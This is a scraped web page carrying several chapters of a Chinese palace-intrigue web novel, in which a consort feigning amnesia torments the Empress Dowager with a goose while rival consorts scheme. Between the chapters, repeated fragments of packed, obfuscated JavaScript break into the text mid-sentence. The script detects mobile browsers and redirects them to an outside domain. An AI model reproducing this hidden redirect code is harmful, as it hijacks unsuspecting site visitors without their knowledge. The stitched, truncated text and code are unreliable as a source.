d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15783180|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事实,但现在他听起来依旧觉得无比的刺耳。 晋明鸢说:“快走吧,别让表妹等急了。” “朕过去看看,晚点再过来与你说。”贺江灈丢下了这么一句话之后,就直接离开了,晋明鸢满眼的讽刺。 看来他们这位陛下中了赵清吟的毒比她还要深,话都已经说到这个份上了,对好表妹也没有一点怀疑。 晋明鸢沉思着,手指略微用力,扯断了旁边的一枝花叶,姜妃进来的时候正好看到这一幕,她有点担忧地问:“晋姐姐,你还好吧?” 晋明鸢说:“我能有什么事?贺江灈那个王八蛋,等这些烂事都解决完了之后,老娘就带着云瑄远走高飞,让他和他的表妹双宿**去吧。” 姜妃听着晋明鸢的话,噗嗤一声笑出了声,她从背后抱住了晋明鸢的腰,脸亲密的贴在了她后背上,撒娇道:“那晋姐姐走的时候可不能忘了阿稚,到时候你带阿稚一起走好不好?” “好呀,我带你去看北疆红日,你还没有去过北疆吧?那儿黄沙接天,傍晚的时候太阳就好像触手可及,而且那儿的人也没有这么多弯弯绕绕,大家都淳朴单纯,可有意思了,你这样的性格一定会喜欢的。” “好呀,那咱们说好了,等查明了真相,姐姐自证清白之后,咱们就一起走,这破皇宫谁爱呆谁呆吧,我只要和姐姐和云瑄在一起就够了,就像咱们三个在冷宫时那样。”姜妃笑眯眯的说。 她的脸颊轻轻的在晋明鸢的后背上蹭了蹭,像是一只撒娇的猫咪,和平日里的她一点也不像。 晋明鸢有点受不了她如此的黏人,轻轻推搡了她一下才问道:“青雉,你是有什么话想与我说吗?” 姜妃这才道:“晋姐姐,是刚才太后让人传了话来,说是打算过两天办个赏梅宴,帖子已经送过来了,咱们要不要去?” 晋明鸢大概能猜到,太后无非就是还在怀疑她有没有恢复记忆,刻意借这个档口来试探的,她道:“当然要去呀。” 第183章 清昭仪受罚 太后虽然喜欢给贺江灈的嫔妃们立规矩,却又不愿意与这些嫔妃们为伍,确切的说,这满宫的嫔妃就没一个她看得上眼的。 她自然也就很少牵头这样的宴会。 这应该是众嫔妃入宫以来的头一回。 而且太后还弄的阵仗很大,将满宫的嫔妃都请到了梅园。 便是这段时间,一直都卧病在床的清昭仪也到了。 自打被降了位分之后,清昭仪就再也没有出过玉粹宫,这也算是她头一回在众位嫔妃面前公开露面。 太后还没有到,嫔妃们都三五成群的聚在一起说话,伴随着清昭仪的到来,多的是人把异样的目光望过来。 还有人在小声议论着清昭仪近来的遭遇。 王昭仪一看到清昭仪,就直接挤过人群到了她身边,对着那群议论不断的人高声道:“你们这群人有什么好议论的?谁不知道我们清姐姐虽说被降了位粉,但现在陛下待她更加看重了。 清姐姐身子不适,陛下就日日守在玉粹宫里,有陛下的这份情谊,对于清姐姐来说,位分有什么重要的?” 王昭仪满脸的恭维,像是在竭尽全力的捧着清昭仪,但是说出来的话,却是让清昭仪皱了皱眉头,心底闪过了几分不适。 清昭仪想要制止王昭仪。 王昭仪又说:“清姐姐,你别拦着我,谁不知道这宫里陛下最在意的就是您了,就算您被降为昭仪又能如何?什么安妃,什么姜妃,哪个能跟您比?” “是这样吗?哀家竟是不知,咱们清昭仪还有这样的心气,合着这宫里的所有人加起来,也不及你一个了?”太后的声音自背后传来,接上了王昭仪的话,她身边站着的还有安妃。 脚步越过清昭仪和王昭仪,太后的眼神已经泛上了冷意。 她今天的目的只有一个,把这些嫔妃们请来,也不过就是不想让自己的行为过于突兀。 哪知道,这才刚过来就先听到了王昭仪如此嚣张的话。 安妃就算再不得宠,那也是她的侄女儿,不把安妃放在眼里,岂不是也不把她放在眼里了? 仅仅是如此一想,太后就已是怒不可遏。 在王嬷嬷的搀扶下落了座,一众的嫔妃纷纷低头行礼,太后也不叫起,就这么直勾勾的看着清昭仪:“咱们清昭仪可别低头,哀家可是受不起你这一礼,免得等会儿传到了皇帝耳朵里,再让皇帝以为哀家故意刁难于你,哀家找谁说理去?” 太后的话说的过分阴阳怪气,呵斥清昭仪的时候,她一下子就想到了上次贺江灈带着晋明鸢去她福寿宫里大闹一场的事。 两次的怒火积攒到一起,让她的脸色更是难看。 清昭仪也是没想到,自己头一回出来走动,就先触了太后的霉头。 她神色古怪的瞟了王昭仪一眼,这才对着太后恭敬道:“太后娘娘言重了,臣妾作为晚辈,孝敬太后娘娘本就是应该的,臣妾也从未有任何僭越之意。 至于陛下那里,确实是因为臣妾这几天身子不适,他才在玉粹宫留的时间久了一些,臣妾如今已经大好,自然也不敢再霸着陛下。 还请太后娘娘相信,臣妾对您对安妃娘娘,都无半分不敬之意。” 清昭仪声音温温柔柔的,她确实在急于向太后表现自己的诚意。 王昭仪在一边,也跟着补充道:“是呀太后娘娘,清姐姐毕竟是陛下的表妹,两个人又有从小到大的情谊,清姐姐身子不适,陛下放心不下也是应该的,您可不能因为这事儿迁怒清姐姐。” 在这种时候,嫔妃们生怕惹的太后不快,个个都不敢吱声,王昭仪却能站出来维护清昭仪,可见她对清昭仪多么的忠心了。 但清昭仪的脸色却根本称不上好看,她再一次看向王昭仪的时候,已经拧起了眉,匆忙的对着王昭仪使了个眼色。 王昭仪像是看不见,她甚至还扶住了清昭仪的胳膊,又对着太后说:“太后娘娘,清姐姐大病初愈,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15783181|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能久站,还请太后娘娘给清姐姐赐座。” 太后的呼吸都因为王昭仪的话变得出众了几分,她问:“清昭仪这么柔弱,还来哀家的宴席,是不是哀家得亲自扶她呀?” 说话间太后几乎要咬碎了一口银牙,而王昭仪却像浑然未觉,她一本正经道:“那倒是不用,您可是长辈,清姐姐当然不能劳驾您,您…” 太后只是说了一句气话,倒是没想到王昭仪竟然还真的评判上了,太后心里的怒火更甚,她厉声道:“滚,你们两个,都给哀家滚到梅园外面跪着。” “太后娘娘为什么这么说?您罚臣妾就算了,可清姐姐和臣妾哪能一样?万一让陛下…” “王妹妹,我惹了太后娘娘不快,受罚是应该的,太后娘娘消消气,臣妾这就出去跪着。” 王昭仪的话越说越离谱,清昭仪吓了一跳,几乎是慌乱的打断了她。 她不敢再让王昭仪说话了,连拖带拽的就把王昭仪朝着梅园外面拉。 冷眼目送着清昭仪离开以后,太后又环顾了一眼四周,渐渐的,她的眉头就皱了起来:“晋氏呢?还有姜妃呢,她们两个怎么不在?王嬷嬷,哀家让你给她们传话,你没传到吗?” 这赏梅宴的目的本来就是为了试探晋明鸢的。 如果不是因为晋明鸢,这天寒地冻的,她何至于拖着这把老骨头跑出来? “老奴已经告知姜妃娘娘了,姜妃娘娘也应下了,应该是还没到吧?”王嬷嬷说。 “还没到?这是让哀家这个太后等着她们? 皇帝这个后宫还真是越来越不成样子了,瞧瞧,瞧瞧,这一个个的,全都不把哀家放在眼里了? 皇帝到底怎么搞的?这嫔妃一个个的弄进宫来,他是一点也不管吗?”太后拍着面前的石桌,一刻也没办法忍耐。 王嬷嬷在一边低着头,这种话她自然不敢接,太后又没好气的说:“还不去打听打听,那个晋氏到底在做什么?” 第184章 一份大礼 这几日风雪不断。 梅园外面还积着一层厚雪。 清昭仪和王昭仪一起跪在雪地里,她看着旁边的王昭仪,眼神有点探究:“王妹妹,你今日怎么回事?为什么要在太后面前说那种话?” “我…清姐姐,妹妹也是想要为你打抱不平,自从你被陛下降为昭仪之后,这宫里多的是流言蜚语揣测你。 妹妹也只是不想让清姐姐被人看低了,这才多言了两句,没想到却连累了姐姐,姐姐不会因此怪罪妹妹吧?”王昭仪说。 清昭仪盯着她的眼睛,想要在王昭仪这里看出什么端倪,可并没有,王昭仪看她的时候,脸上还带着明显的担忧。 她好像就真的是这么想的。 纵使清妃现在满肚子怒气,在王昭仪这里找不到什么端倪,她也发泄不出来,只能强行把这事认下来。 只是跪在厚雪上,没有一会,衣衫就被完全阴湿了,膝盖上冷意传来,冻得清昭仪直打哆嗦。 清昭仪有点忍不下去了,她把赋雪叫了过来,想让赋雪去请贺江灈来救她,王昭仪见状,有点犹豫的道:“清姐姐,太后娘娘现在还在气头上,若是请了陛下过来,只怕太后娘娘会更生气吧,这件事都是臣妾不好,是臣妾对不起您,臣妾心里也愧疚的厉害。 这样吧,臣妾把衣服脱了给您垫着,应该会好受一些。” 王昭仪一边说着,一边就要脱外衣,脸上对清昭仪的关心几乎要溢出来了。 清昭仪连忙制止她:“这怎么能行呢?王妹妹,你快把衣服穿好,你也是好心,我自然不能怪你。 算了,这儿这么冷,想来太后娘娘的赏梅宴也办不了太久,咱们应该很快就能回去。” 在看到王昭仪为了她愿意脱衣服的时候,清昭仪对王昭仪的怀疑就散了。 她现在的处境确实算不得好,王昭仪对她这么忠心,她自然不能太端着,于是便直接转头安慰起王昭仪来。 王昭仪顺势低下了头,看起来很是愧疚,但在清昭仪看不见的地方,她眼睛里已经闪过了明显的暗色。 她为了清昭仪跳冰湖,早就把身子弄坏了。 以后也没了能诞下子嗣的可能,可清昭仪却不一样啊。 陛下那么看重她,这段时间又常在玉粹宫里陪她,怕是她真的怀上身孕,也是迟早的事。 她又怎么可能让清昭仪的日子过得那么顺遂呢? 两个人在梅园门口跪了大半晌,也不见里边有动静,清昭仪脸上生了些许的怀疑:“这儿天这么冷,太后娘娘的宴席怎么还没结束?” 正巧这时,远远的就看到姜妃和晋明鸢慢悠悠的走来,手里好像还拎着什么东西,而太后身边的王嬷嬷也从梅园里出来,疾步冲着晋明鸢迎上来:“哎呦,晋娘娘你可来了,太后娘娘等您有一会儿了。” 王嬷嬷的声音不小,足够让清昭仪听得一清二楚,清昭仪的脸色瞬间垮了下来。 难怪…难怪这个宴席没有结束,原来晋明鸢竟然才来,这么看来,自己还不知道要在这里继续跪到什么时候。 雪水冷的像是能渗入骨骼,冻的清昭仪不断的打哆嗦。 清昭仪的眼睛里都闪过了几分恨意。 晋明鸢从清昭仪旁边路过,有点错愕的看了她一眼:“这是怎么了?” “清昭仪失态,惹了太后娘娘不悦,太后娘娘便罚她在这儿跪着,晋娘娘既然来了,咱们快进去吧。”王嬷嬷随口解释了一句,也不敢多耽搁时间。 这晋明鸢已经迟到了那么久了,若是再耽搁下去,太后娘娘那里只会更难交代。 晋明鸢点点头,也没有多看清昭仪,就跟着王嬷嬷进了梅园。 呼啸的冷风灌入衣领,太后在凉亭里坐了这么久,都已经被冷的手脚冰凉了。 她的耐心更是被一点点的消耗着。 就在这时,眼前总算是出现了晋明鸢的身影,太后立刻就质问道:“晋氏,你可真是好大的架子,竟然让哀家等你那么久,你眼里可有哀家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789612|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个太后?” “怎么会没有呢?太后娘娘,我来的晚,就是因为去给太后娘娘挑礼物了呀,毕竟您邀请我赴宴,空着手来多不合适。”晋明鸢说。 太后冷哼了一声,看晋明鸢的视线明显不太信任:“哼,礼物?哀家倒要看看,你给哀家带了什么来。” 晋明鸢笑笑:“那太后娘娘您可得接好了呀。” 她上前两步,从背后拖出什么东西,直接朝着太后甩了过来。 只听得一声尖锐的鹅叫声,一只大白鹅张开翅膀就冲着太后的脸扑了过来。 太后瞪大了一双眼睛,身子一晃,直接就从石凳上滑了下来,重重的跌落在了地上。 她不断地尖叫着,近乎是失态的朝着离她最近的安妃身后躲,甚至还有点手脚并用的意思。 在场的嫔妃也都被突然出现的大鹅吓了一跳,个个都尖叫连连乱成一团。 晋明鸢却像是没事人一样,有点惊讶道:“哎呀,太后娘娘,您这是怎么了?怎么还摔倒了?是不喜欢臣妾的礼物吗?” 那大鹅像是也被受了惊吓,在地上滚了一圈之后就大张着翅膀冲着吓到它的太后扑了过来。 太后死死的拽着安妃的袖子,不断的尖叫着:“人呢?快来人呀,赶紧把这畜生弄走!” 她这么一叫,王嬷嬷才反应过来,赶紧挡在太后跟前,把鹅赶到了一边。 太后也终于被安妃从地上扶了起来,她捂着胸口,浑身都在打着哆嗦,视线却锐利的落在了晋明鸢这里:“晋氏!你诚心的是不是?你想吓死哀家不成?这好端端的,你弄个畜生来做什么?” 晋明鸢说:“太后娘娘真是误会臣妾了,臣妾做的一切都出于好意啊,臣妾知道太后娘娘您什么都不缺,怕是寻常东西也入不了您的眼。 这鹅虽然不珍贵,但也是臣妾之前亲手养的,在冷宫的院子里跑惯了,肉质必然鲜美,臣妾之所以这么做,也是想让太后吃点好的,太后娘娘可不能怪罪臣妾。” 第185章 云瑄要回来了 晋明鸢的声音夹杂着鹅叫声撞进太后的耳朵里。 气的太后浑身都在不停的打着哆嗦。 太后都来不及去整理衣衫,她手指着晋明鸢,好半天都说不出话来。 晋明鸢只装作看不到她的愤怒,她继续满脸无辜的道:“太后娘娘这么看着臣妾做什么?是不喜欢臣妾送的礼吗?” 那当然是不喜欢的。 不仅是不喜欢这只鹅,太后现在看到晋明鸢也来气,她怒不可遏的道:“你赶紧,赶紧把你这东西弄走,别在这里碍哀家的眼!” “那可不行啊,太后娘娘,这可是臣妾左思右想,费尽心神才为您准备的礼物,您就算是不喜欢,臣妾也不能拿回去不是?”晋明鸢笑眯眯的说。 鹅叫声尖锐不止,这是晋明鸢和姜妃一大早就跑到冷宫抓来的。 为了送给太后,两个人还特地选了一只最活跃的鹅,抓的时候可是费了好一番力气。 这戏还没唱够呢,晋明鸢可不想这么收手。 顶着太后一双愤怒的眼睛,晋明鸢脚步挪了挪,像是不经意间,她一脚踹在了鹅的屁股上,让那个消停许多的鹅又梗着脖子冲着太后脸上扑了过去。 晋明鸢又是惊诧道:“哎呀,太后娘娘您看这鹅也喜欢您呢,看来臣妾这礼是送对了。” “大胆!晋氏,你还有没有一点儿规矩了?都愣着做什么?还不赶紧把这个弄走?”太后现在早就没心情和晋明鸢争执什么了,她素来最讨厌这些牲畜。 可偏偏晋明鸢这个疯的,已经不止一次把这些东西弄到她跟前来了。 而且这女人自从失忆之后越发疯癫,现在更是连道理都直接讲不通了。 若不是还有一点理智尚存,太后甚至想直接对着晋明鸢动手了。 王嬷嬷等人不敢犹豫,赶紧手忙脚乱的去赶鹅,试图把这东西弄离太后眼前。 反倒是把这鹅带来的晋明鸢,一点儿也没有参与其中,还自顾自的在石桌前坐了下来,她看着太后道:“太后娘娘,不是叫臣妾来赏梅吗?臣妾是个粗人,也不懂这些什么花呀草呀的,不如太后娘娘给臣妾介绍介绍?” 介绍个鬼啊? 太后现在听到晋明鸢的声音,都觉得脑袋嗡嗡的响,更不用说再看到她的人。 冷着一张脸冲着晋明鸢扫过来:“你走,你现在就走,哀家不想看到你!” “为什么不是太后娘娘叫臣妾过来赏梅的吗?为什么又赶臣妾走,臣妾好歹也是您的儿媳,您可不能厚此薄彼。”晋明鸢说。 她今天就打定了主意,在这里给太后添堵。 太后捂着胸口,感觉嗓子眼里都有一股腥甜,逼的她想要作呕。 她吼道:“你还好意思说,你弄个畜生过来,把梅园弄得乱糟糟的,还赏什么梅?不赏了,不赏了,都走吧,你们都给哀家走。” 晋明鸢脸上还带着几分可惜:“啊,这就结束了?臣妾在邀云宫里闲的无聊,还以为今天能在这里找点乐趣呢。” 太后觉得她根本就不是要找乐趣,而是把自己当乐子。 她又吼道:“够了,哀家没心情了,你们都散了吧。” 一群嫔妃们见状,皆是面面相觑,神色古怪。 只有作为罪魁祸首的晋明鸢,还是一派的镇定自若,她说:“那好吧,太后娘娘等会儿还有别的事儿吗?要不臣妾去太后娘娘那里坐坐?” “你去哀家那里做什么?”太后的声音都尖锐了许多,她觉得这个晋明鸢就是个祸害,碰到了就甩不掉的那种。 晋明鸢说:“即便臣妾不是有意的,可太后娘娘的兴致好像真让臣妾扰了,臣妾还想着去给太后娘娘道歉呢。” 太后觉得,她根本不是道歉,而是想继续气她。 太后摆摆手:“不用了,哀家知道你是好心,哀家不怪你,你快走吧。” 晋明鸢点点头,这才恋恋不舍的和姜妃一起离开。 其他的嫔妃们也纷纷退下。 太后捂着胸口,坐在石凳上,久久都没法回神。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789613|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >王嬷嬷说:“太后娘娘,您还什么都没问呢,怎么就让她走了?” “问?哀家还能问什么?你觉得她要是恢复了正常,还能像现在这样发疯吗? 看来这件事真是哀家多虑了,那晋氏疯成这模样,一看就没恢复记忆。 不说这些了,王嬷嬷,赶紧赶紧让人抬个轿子来,摔死哀家了,哀家的腰要断了。”太后哀嚎道。 刚才她不想在晋明鸢面前落了面子,一直都忍着腰疼,现在周围没人了,终于是按耐不住了。 王嬷嬷见状,也不敢耽搁,赶紧让人抬了轿子,又找人去请了太医,到福寿宫里候着。 等到太后的轿子摇摇晃晃地抬出梅园时,清昭仪和王昭仪还跪在梅园门口。 清昭仪故意柔弱的咳嗽了一声,想要让太后注意到她,想起她还在这里受罚。 可现在太后自顾不暇,哪里还记得清昭仪,轿子一路在清昭仪面前经过,直到消失,清昭仪都没能等到太后的回话。 她感觉自己的膝盖已经要和地上的霜雪冻到一起了,僵硬的完全没了知觉,旁边的王昭仪脸色也好不到哪里去,却还是想尽法子的哄着清昭仪再忍忍再忍忍。 而此时的邀云宫里,地龙烧的暖烘烘的。 姜妃和晋明鸢一回来,就没控制住放声大笑起来,她道:“晋姐姐,可真有你的呀,太后弄这个赏梅宴,本来就是怀疑你的,结果你这一只鹅丢进去,只怕她再也不想试探你了。” 晋明鸢也跟着笑,她长舒一口气道:“还是装失忆好,之前老娘当那劳什子的四皇子妃,可没少让她磋磨,今天这口气终于是顺了。 反正她也知道,我现在什么都不记得,更别提懂什么规矩了,碰上我她就真倒霉吧。” 姜妃笑得浑身发抖,两个人正说话间,玉袅在外面进来,还给晋明鸢递上了一封信。 又是贺云瑄送来的,他说他快抵京了,最多三日,就能回来了。 晋明鸢的手指轻微颤抖,瞳孔也有些许的晃动。 第186章 青雉你让让姐姐 姜妃凑了过来,也看到了上面的字,她有点惊喜道:“晋姐姐,云轩快回来了呀,这小子动作挺快呢。” 声音落下之后,有一会儿都没有等到晋明鸢的回应,姜妃又有点儿诧异:“晋姐姐,你这是怎么了?云瑄回来你不高兴吗?” 晋明鸢捏着信封的手更紧了。 唇也抿的很紧。 姜妃意识到了什么,她问:“晋姐姐,你是不是不知道怎么和云瑄相处?” “我进了冷宫没多久,赵清吟和我说,贺江灈那个王八蛋看不得我与云瑄接触,如果要保云瑄性命,就疏远他。 那段时间我从来都没怀疑过她,我以为她诚心帮我保云瑄的性命,从此哪怕云瑄在我眼皮底下,我也视而不见。”话到这里的时候,晋明鸢的身子都在发抖。 她不知该骂曾经的自己蠢还是荒唐,不管赵清吟说什么,她竟然都信了。 “所以这才是你不理云瑄的原因?”姜妃道。 她只知道赵清吟平日里没少去冷宫挑拨离间,没想到从晋明鸢住进冷宫开始,那女人就没有消停。 虽然晋明鸢不太想承认自己那么愚蠢,可这就是事实:“那时候贺江灈怪我生下云瑄,朝中大臣也频频施压,我便信了赵清吟的话。 这些年冷宫物质匮乏,就算我再怎么暗中把吃穿省下来给云瑄,但说到底,我也没尽到做母亲的责任。 他被人辱骂,被人欺负的时候,我从来没管过。” 这些年来,她从来都是在那破损的窗前,盯着云瑄小小年纪就跟着余嬷嬷学做活,种菜。 小孩是很在意她的,她能感觉到,每次撞上面之后,他总是用那双乌溜溜的大眼睛殷切的看着她,可她从来没理过。 哪怕现在她也知道,自己失忆之后和云瑄相处的很好,可一旦想到自己失忆之前的作为,晋明鸢就觉得没脸面对云瑄。 因为别人挑拨的几句话,五年不理自己的儿子,她算什么母亲? 姜妃的手轻轻地按在了晋明鸢的肩膀上,她说:“晋姐姐,你不用这么担心,云瑄把你看得很重,过去的事他不在意。” “可我在意,青雉,你知道吗?他第一次跟着余嬷嬷进厨房的时候才三岁呀。 那么瘦那么小,手臂都没有菜刀长。 他真的很乖,走路都走不稳的时候,就坐在厨房门口帮余嬷嬷洗菜。 尽管我不理他,他看见我的时候,也总是乖乖的叫娘亲,可是后来余嬷嬷**,他就不叫了。 周围的人都欺负他,余嬷嬷不在了之后,他更是连个说话的人都没有了,总是沉默寡言的。 也幸好余嬷嬷有先见之明,教他种菜,教他做饭,不然那个时候,我说什么也得出来撕了贺江灈那王八蛋。” 晋明鸢回忆着过往的时候,眼泪已经控制不住的滚落下来。 其实在余嬷嬷死后,她就怀疑赵清吟了,从那时候起她就找上了翠枝。 翠枝也是为了她,才各种费尽心思的打点关系进了太医院,结果也为她丧了命。 翠枝是跟着她从北疆过来的,她却没能把翠枝带回北疆。 或许老头说的对,她这样的性格就不该进皇城。 她就不该一意孤行嫁贺江灈。 姜妃鲜少见晋明鸢如此崩溃的模样,更是不知道该怎么安慰。 沉默良久之后,姜妃说:“如果姐姐实在心里有愧,就对云瑄更好一点。” 这是唯一的办法了。 晋明鸢也知道。 她足足费了好一会儿功夫,才终于让自己的心情稍稍缓和了一些。 姜妃又问:“那晋姐姐恢复记忆的事,要不先别告诉云瑄了?” 晋明鸢现在不知道怎么跟贺云瑄相处,倒不如把这件事瞒起来,还像以往一样。 晋明鸢摇头:“我已经很对不起他了,也不想再瞒着他任何事了。 云瑄是个聪明的孩子,就算知道了真相,他也知道该怎么做的。” 姜妃点了点头,也没有在这件事上多劝。 晋明鸢又拉着姜妃道:“你帮我找些人来,我要给云瑄准备几套新衣服,还有吃的,用的,这些年我错的实在离谱,我想补偿他。” 晋明鸢的话,姜妃一一都应了下来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792136|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就在两个人商量着该给云瑄准备什么东西的时候,芙蕖又带了个消息进来:“娘娘,出事了,太后娘娘今日摔了一跤,把腰摔伤了,听说伤的挺严重的。” “哦,那挺好的。”晋明鸢心思不在这里,当即就随口回应了一句。 这可真是一件好事呀,云瑄马上就回来了,老妖婆的腰摔伤了,以后一定是能消停几天,不会过来打扰她和宝贝儿子相处了。 而且她这一伤,她那些见不得光的算计,也只能往后拖一拖了,可不就是件天大的好事吗? “还有清昭仪和王昭仪,她们两个今天都在梅园门口跪晕了过去,好像情况也不太好。”芙蕖又说。 晋明鸢这会儿抬了抬头,她问姜妃:“青雉,你说今天是什么好日子,怎么那么多好消息?” 姜妃也是煞有介事的点头:“还真是哈,尽是些好消息了。” 晋明鸢想了想:“清昭仪晕倒了,怕是还有陛下照顾,那王昭仪就可怜了,一个人在宫里,也没人惦记的,让人去拿些补品,给她送过去吧,也免得以后有人说你代管六宫又不近人情。” 这是到底什么情况,姜妃和晋明鸢都心知肚明,就是王昭仪故意拉了清昭仪垫背。 她也真是狠得下心,这天寒地冻的,说跪就一起跪了,也不怕再给自己弄出什么病根来。 不过看到这王昭仪现在对清昭仪如此怨恨,晋明鸢当然很乐意对她照拂一二,如果王昭仪的战斗力一直能这么强,她也愿意一直保着王昭仪。 芙蕖又说:“还有个不太好的消息,太后娘娘今天好像和陛下说了,宫里的嫔妃都不守规矩,陛下做主,让嫔妃轮流去福寿宫给太后侍疾。” 晋明鸢脸上露出了个古怪的笑:“侍疾好呀,我哪天去?” 正好她还怕太后摔的不够重呢。 芙蕖说:“太后娘娘特地吩咐了,不用您去,但是姜妃得去。” 晋明鸢这会儿有点失望,她还以为太后是冲着她来的呢,没想到太后竟然这么胆小了。 她想了想,忽然对着姜妃说:“青雉,这大好事儿,你让给姐姐吧。” 第187章 姓晋的怎么来了 这样的大好事,晋明鸢都已经开了口,姜妃又岂有不让的道理? 第一天给太后侍疾的,正是太后的侄女安妃,在第二天,就轮到了位分最高的姜妃。 晋明鸢欢欢喜喜的就去了福寿宫,结果刚到宫门口,还没来得及进去门,就先被王嬷嬷拦住了。 王嬷嬷的表情甚至还有点扭曲:“晋娘娘,您怎么来了,姜妃娘娘呢?” “姜妹妹今天身子不适太后娘娘的事,又耽搁不得,我只能替姜妹妹来了。”晋明鸢说。 晋明鸢解释了,王嬷嬷也没有让开的意思,她一双浑浊的眼睛,更是无比古怪的盯着晋明鸢看。 什么姜妃生病了? 什么要换人? 依她看,这两个人就是故意串通好了来折腾太后的。 若不然那个姜妃怎么早不病晚不病,偏在要侍疾的时候病? 而且这宫里哪个不知道,姜妃那女人根本就是力壮如牛,哪有那么简单就生病的。 有了之前的教训,王嬷嬷这回也不太敢把晋明鸢放进去,她说:“晋娘娘,太后也不是不近人情的人,这既然是姜妃病了,找人来知会一声,免了她的侍疾就是,何必又让您来替呢?” 晋明鸢叹了口气:“哎呀,我也是这样想的,可姜妹妹那不是觉得过意不去吗?又怕太后娘娘误会,于是只能让我帮忙了。 行了,王嬷嬷,我不跟你说了,你还是赶紧让我进去吧,可别耽搁了太后娘娘的事。” 王嬷嬷听着她的话,已经不知道先吐槽什么好了,别的不说,首先那姜妃就不是什么为人考虑的人,更别提让她来孝敬太后了,她哪里可能那么关心太后? 至于晋明鸢,看她现在这副摩拳擦掌的样子,王嬷嬷就觉得把她放进去了之后绝没好事。 王嬷嬷说:“还是算了吧,晋娘娘,既然姜妃也病了,你和姜妃关系又那么好,你还是回去照顾姜妃吧,太后娘娘这里再找别人就是。” “为什么?怎么偏偏别人行就我不行了?这不都是做儿媳的吗,太后娘娘怎能连这种事也厚此薄彼呢?”晋明鸢问。 她伸手直接推开了王嬷嬷挡着她的胳膊:“我不跟你说,我得进去照顾太后娘娘。” 王嬷嬷想拦,但又哪里能和晋明鸢的力气相提并论? 晋明鸢打定了主意要进门,王嬷嬷生拉硬拽,也没能留住她,就只能眼睁睁的看着她撞开了太后寝宫的大门。 “什么事?外面怎么这么吵闹?”太后懒洋洋的靠在床上,就等着今天侍疾的人过来了。 前两日她在贺江灈那里闹了一次之后,宫里的嫔妃对她这个太后愈发的低眉顺眼,她也终于找回了自己的威严。 太后这两天虽然卧病在床,但只要不想到晋明鸢,心情还是可以的。 但这份好心情在晋明鸢绕过屏风的时候戛然而止。 她瞪大一双眼睛,看着晋明鸢:“你为什么会在这里?” 像是被逼出了应激反应,在看到晋明鸢的时候,太后甚至还不住的往她身后瞥,生怕她又从哪里弄出来一只鹅。 晋明鸢道:“太后娘娘,臣妾自然是来侍疾的,听说您摔伤还是因为臣妾呢?臣妾若是不来,这心里总是不安的。 太后娘娘您伤在了哪里?快点让臣妾看看。” 她就像是看不到太后的诧异与抗拒,大步就朝着太后床前走了过来。 太后只觉得自己的耳朵都在嗡嗡作响。 她更是觉得晋明鸢不怀好意,手忙脚乱的扯过了被子挡在自己身上,她对着晋明鸢尖叫道:“你走,你现在就给哀家走,哀家这里用不到你。 王嬷嬷呢,你怎么回事?把她放进来做什么?赶紧让她走。” 王嬷嬷才追进来,就听到太后怒不可遏的声音,也是一脸的无奈,她赶紧又对着晋明鸢道:“晋娘娘,您也看见了,老奴刚才就跟您说了,太后娘娘这里不需要您,您还是赶紧走吧。” 晋明鸢才刚进来,她还什么都没做呢,她可不想走。 她这会儿过来,目的很清晰,她就是要让太后以后一想到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 